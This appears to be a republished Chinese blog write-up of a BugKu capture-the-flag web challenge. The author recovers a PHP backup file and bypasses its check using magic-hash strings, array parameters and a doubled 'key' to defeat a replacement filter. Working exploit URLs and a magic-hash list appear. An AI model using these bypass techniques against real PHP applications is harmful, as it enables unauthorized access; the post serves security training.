zoukankan      html  css  js  c++  java
  • BugKu 备份是个好习惯

    题目链接

    题目说备份是个好习惯,那么到底备份了什么那?打开页面,也就一串字符,看样子应该是MD5。看来备份的东西,不在页面里,会不会是一个.bak文件?用大佬写的脚本(链接),爆得了index.php文件和index.php.bak文件,好了备份的文件出现了。访问该备份文件,发现直接可以下载,下载下来分析,是php代码。

    <?php
    /**
     * Created by PhpStorm.
     * User: Norse
     * Date: 2017/8/6
     * Time: 20:22
    */
    
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);
    $str = str_replace('key','',$str);
    parse_str($str);
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."取得flag";
    }
    ?>
    

    一番分析,大概就是,会获得输入url中?开始后的字符串,然后去掉?,并且字符串中的key字符被替换成空,然后比较key1和key2的MD5值和两个变量的值,也就是当他们md5值相同,但本身字符串不同就可以得到flag。key1和key2变量和值都是用户在url中输入的。

    • 首先不能直接写key1,要写成kekeyy1
    • 然后找到合适的字符串,不同但md5值却相同
    • 最终构造出合适的url:http://120.24.86.145:8002/web16/index.php?kekeyy1=QNKCDZO&kekeyy2=240610708

    访问,得到了flag:Bugku{OH_YOU_FIND_MY_MOMY}

    再详细说明下md5值相同,但未计算md5的值不同的绕过。
    1.如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。(也就是我使用的方法)

    下列的字符串的MD5值都是0e开头的:

    QNKCDZO

    240610708

    s878926199a

    s155964671a

    s214587387a

    s214587387a

    2.md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
    所以可以输入:http://120.24.86.145:8002/web16/index.php?kekeyy1[]=something&kekeyy2[]=anything

    雨落亭博客链接

  • 相关阅读:
    读书笔记--Head First 数据分析 目录
    读书笔记--Head First C#目录
    读书笔记--Head First Networking目录
    读书笔记--Head First JQuery目录
    读书笔记--Head First Python 目录
    读书笔记--Head First JavaScript 目录
    读书笔记--Head First Ajax 目录
    读书笔记--Head First Web设计 目录
    读书笔记--Head First Servlets和JSP 目录
    读书笔记--Head First Java(第2版) 目录
  • 原文地址:https://www.cnblogs.com/yuluoluo/p/9782327.html
Copyright © 2011-2022 走看看